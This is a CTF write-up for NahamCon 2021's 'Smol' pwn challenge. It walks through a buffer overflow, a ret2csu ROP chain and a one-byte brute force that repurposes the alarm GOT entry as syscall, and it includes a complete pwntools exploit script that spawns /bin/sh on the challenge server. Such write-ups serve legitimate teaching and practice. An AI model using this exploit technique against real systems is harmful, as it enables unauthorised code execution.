Smol

by datajerk / burner_herz0g

Tags: got-overwrite bof ret2csu pwn rop

Rating:

NahamCon CTF 2021

Smol [hard]

> Author: @mmaekr#4085
> Sometimes smol things are hard.
> smol

Tags: *pwn x86-64 bof rop ret2csu got-overwrite brute-forcing*

Summary

Fun challenge brute-forcing the `alarm` GOT entry to be repurposed as `syscall` with help from *ret2csu*.

> Hat tip to xfactor for pointing out `alarm` could be converted to `syscall`.

Analysis

Checksec

```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

No PIE and no canary, ripe for *rop* and *bof*.

Decompile with Ghidra

```
undefined8 main(void)
{
  undefined local_c [4];

  alarm(0x25);
  read(0,local_c,0x200);
  return 0;
}
```

Yep, that is all of it. Clearly `read` with its `0x200` limit will overrun the `local_c` local that is only `0xc` bytes deep.

There's a lot you cannot do, e.g. there's no GOT functions that will emit anything, so no easy way to leak libc. The available gadgets we have are really nothing of immediate use except for *ret2csu*.

ret2csu is a bit more complicated than rop scanners such as `ROPgadget` and `ropper` are coded to deal with.

The short of it is, you can call any function you have a pointer to and pass in its first three parameters, i.e. for x86-64 that'd be `rdi`, `rsi`, `rdx`. It's not hard to find `rdi` and `rsi` pop/return gadgets, but `rdx` is a bit more elusive (I didn't even know it had a name at first, I was just trying to set `rdx`; well now you know what to google for (*ret2csu*), that said, it is very rewarding to just slog through the assembly code and find these things for yourself).

ret2csu

```
4011b0:   4c 89 f2                mov    rdx,r14
4011b3:   4c 89 ee                mov    rsi,r13
4011b6:   44 89 e7                mov    edi,r12d
4011b9:   41 ff 14 df             call   QWORD PTR [r15+rbx*8]
4011bd:   48 83 c3 01             add    rbx,0x1
4011c1:   48 39 dd                cmp    rbp,rbx
4011c4:   75 ea                   jne    4011b0 <__libc_csu_init+0x40>
4011c6:   48 83 c4 08             add    rsp,0x8
4011ca:   5b                      pop    rbx
4011cb:   5d                      pop    rbp
4011cc:   41 5c                   pop    r12
4011ce:   41 5d                   pop    r13
4011d0:   41 5e                   pop    r14
4011d2:   41 5f                   pop    r15
4011d4:   c3                      ret
```

> I'll provide just a very short summary here, google for more detail from others.

Just set the 6 registers using the gadget at `0x4011cb` in the example above. `rbx` and `rbp` should be set to `0` and `1` respectively; this is required to get past the `jne` at `0x4011c4`. Set registers `r12`, `r13`, `r14`, `r15` as `rdi`, `rsi`, `rdx`, and the pointer to the function you want to call respectively. Then, just call `0x4011b0`.

It's just that easy.

> Where do you get a pointer to a function?

That is exactly what the GOT is. Otherwise, you're on your own.

> All those `pop`s and the `add rsp,0x8` at the end need to be dealt with after your call--just add seven words to your payload.

`alarm` abuse

Let's first look at `alarm`, dissembled:

```
gef➤  got

GOT protection: Partial RelRO | GOT functions: 2

[0x404018] alarm@GLIBC_2.2.5  →  0x7ffff7ea3f10
[0x404020] read@GLIBC_2.2.5  →  0x7ffff7ecf130

gef➤  disas alarm
Dump of assembler code for function alarm:
   0x00007ffff7ea3f10 <+0>: endbr64
   0x00007ffff7ea3f14 <+4>: mov    eax,0x25
   0x00007ffff7ea3f19 <+9>: syscall
   0x00007ffff7ea3f1b <+11>:    cmp    rax,0xfffffffffffff001
   0x00007ffff7ea3f21 <+17>:    jae    0x7ffff7ea3f24 <alarm+20>
   0x00007ffff7ea3f23 <+19>:    ret
   0x00007ffff7ea3f24 <+20>:    mov    rcx,QWORD PTR [rip+0x104f45]        # 0x7ffff7fa8e70
   0x00007ffff7ea3f2b <+27>:    neg    eax
   0x00007ffff7ea3f2d <+29>:    mov    DWORD PTR fs:[rcx],eax
   0x00007ffff7ea3f30 <+32>:    or     rax,0xffffffffffffffff
```

```
   0x00007ffff7ea3f34 <+36>:    ret
End of assembler dump.
```

First examine the GOT, notice how `0x404018` is a pointer to `0x7ffff7ea3f10` (`alarm`).

Now look at `alarm` disassembly. There's a `syscall` gadget at byte `0x19`. This byte will always been the same, for the same version of libc. Not even ASLR will change it since ASLR does not change the three least significant nibbles (last 12 bits). To brute-force this on an unknown system will take no more than 256 attempts! *Alarming!*

Putting it all together

Using *ret2csu* and GOT `read` to change the `alarm` LSB and test for each byte should be trivial.

Exploit

```python
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./smol')
```

Standard pwntools header.

```python
payload  = b''
payload += 0xc * b'A'
```

Start of payload. We need to overflow `local_c` with `0xc` bytes to get to return address.

For the next three sections, we'll just be setting up a static payload for use with our brute-forcing loop. Nothing is executing.

```python
pop_rbx_rbp_r12_r13_r14_r15 = 0x4011ca
set_rdx_rsi_rdi_call_r15 = 0x4011b0

# alarm -> syscall
# set up regs
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0) # rbx
payload += p64(1) # rbp to get pass check
payload += p64(0) # r12 -> edi this will be edi stdin for read
payload += p64(binary.got.alarm) # r13 -> rsi pointer to alarm
payload += p64(1) # r14 -> rdx
payload += p64(binary.got.read) # pointer to read

# this will call read to read one byte and overwrite alarm
payload += p64(set_rdx_rsi_rdi_call_r15)
payload += 7 * p64(0) # add rsp,0x8, 6 pops at end
```

First pass with *ret2csu*. This will call `read(stdin,got_address_of_alarm,read 1 byte)`. When this executes, `read` will *read* one byte and store it at the address of `alarm` in the GOT overwriting its LSB.

```python
# now put /bin/sh in bss
# set up regs
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0) # rbx
payload += p64(1) # rbp to get pass check
payload += p64(0) # r12 -> edi this will be edi stdin for read
payload += p64(binary.bss()) # r13 -> rsi pointer to bss
payload += p64(0x3b) # r14 -> rdx (/bin/sh\0) + padding to get rax = 0x3b for syscall
payload += p64(binary.got.read) # pointer to read

# this will call read to read /bin/sh\0 into bss now
```

```
payload += p64(set_rdx_rsi_rdi_call_r15)
payload += 7 * p64(0) # add rsp,0x8, 6 pops at end
```

Second pass with *ret2csu*. Assuming that `alarm` is `syscall`, we want to setup for `execve`, but first we need to *read* in the string `/bin/sh\0` to memory.

Above, `read` will be used again, but this time to *read* from stdin the string `/bin/sh\0` + padding for a total of `0x3b` bytes. This will yield two benefits, first, we will have the string `/bin/sh` in memory for `execve`, and second, `rax` will be set to `0x3b`, which is the syscall number for `execve`.

> We're just using the BSS section for this scratch space.

```
# rest of payload assume alarm -> syscall, call execve
# set up regs
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0) # rbx
payload += p64(1) # rbp to get pass check
payload += p64(binary.bss()) # r12 -> edi this will be rdi
payload += p64(0) # r13 -> rsi
payload += p64(0) # r14 -> rdx
payload += p64(binary.got.alarm) # pointer to syscall

# this will call execve
payload += p64(set_rdx_rsi_rdi_call_r15)
payload += 7 * p64(0) # add rsp,0x8, 6 pops at end
```

Third pass with *ret2csu*. Call <strike>`alarm`</strike>, I mean `syscall` with `0x3b` in `rax` for `execve`, then followed by `execve` parameters, pointer to string `/bin/sh`, `0`, and `0`.

That is it. Payload complete. This will give us a shell IFF `alarm` was successfully converted to `syscall`.

> I know the above is a bit verbose and I could have used the 7 pops at the end to populate the registers for the next *ret2csu* and built a more streamlined chain, but I had 0x200 bytes to work with, so I was lazy. (If there's an `exploit2.py` in this repo, then look at that for a streamlined chain version.)

```
b = 0x0
# local and remote values from bruteforce
'''
if args.REMOTE:
    b = 0x28
else:
    b = 0x19
'''

context.log_level = 'WARN'
```

All that is really necessary above is the `b = 0x0` for the brute force loop, however I included the discovered values for my system and the challenge server for rapid testing.

The log level of `WARN` just removes all the pwntools connection/disconnection messages. Something useful when brute forcing.

```
while b <= 0xff:
    if args.REMOTE:
        p = remote('challenge.nahamcon.com', 31135)
    else:
        # socat TCP-LISTEN:9999,reuseaddr,fork EXEC:$PWD/smol,pty,stderr,setsid,sigint,sane,rawer
        p = remote('localhost', 9999)

    try:
```

```
        p.send(payload)
        time.sleep(.1)

        log.warn('testing b=' + hex(b))
        p.send(p8(b))
        time.sleep(.1)
        b += 1

        # /bin/sh send padded to 0x3b so rax has syscall number for execve
        p.send(b'/bin/sh\0' + (0x3b-8) * b'A')
        time.sleep(.1)

        p.sendline('echo shell')
        # to catch tty control errors, just lazy and try again
        if b'shell' in p.recvline():
            p.interactive()
            break
        if b'shell' in p.recvline():
            p.interactive()
            break
    except:
        p.close()
```

Finally, the main loop.

This will loop over all 256 values until there's a shell.

> For various reasons this was easier to develop and test locally with `socat`, mostly to deal with similar conditions for error checking.

For each attempt:

1. Send the payload and overflow the buffer with our attack. Then sleep .1 seconds (network lag, et al).
2. Send the one byte the first *ret2csu* is waiting for to write to the LSB of GOT `alarm`.
3. Send the `/bin/sh\0` + padding for the 2nd *ret2csu*.
4. The 3rd *ret2csu* should just execute after the 2nd has received its input. If all is well, `execve` was called.
5. Send `echo shell` to test if there is indeed a shell there.
6. Check twice for a reply, since on some CTFs the first line back may be an `sh` error. Do NOT use `recvuntil` or it will block for 10 seconds (you can shorten this). It's faster the `recvline` way.
7. Get a shell, get a flag.

Output:

```
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/nahamconctf2021/smol/smol'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[!] testing b=0x0
[!] testing b=0x1
[!] testing b=0x2
[!] testing b=0x3
[!] testing b=0x4
[!] testing b=0x5
[!] testing b=0x6
[!] testing b=0x7
[!] testing b=0x8
[!] testing b=0x9
[!] testing b=0xa
[!] testing b=0xb
[!] testing b=0xc
```

```
[!] testing b=0xd
[!] testing b=0xe
[!] testing b=0xf
[!] testing b=0x10
[!] testing b=0x11
[!] testing b=0x12
[!] testing b=0x13
[!] testing b=0x14
[!] testing b=0x15
[!] testing b=0x16
[!] testing b=0x17
[!] testing b=0x18
[!] testing b=0x19
[!] testing b=0x1a
[!] testing b=0x1b
[!] testing b=0x1c
[!] testing b=0x1d
[!] testing b=0x1e
[!] testing b=0x1f
[!] testing b=0x20
[!] testing b=0x21
[!] testing b=0x22
[!] testing b=0x23
[!] testing b=0x24
[!] testing b=0x25
[!] testing b=0x26
[!] testing b=0x27
[!] testing b=0x28
$ cat flag.txt
flag{0782742effd99dd821198cac2f49b75a}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/nahamconctf2021/smol).

Comments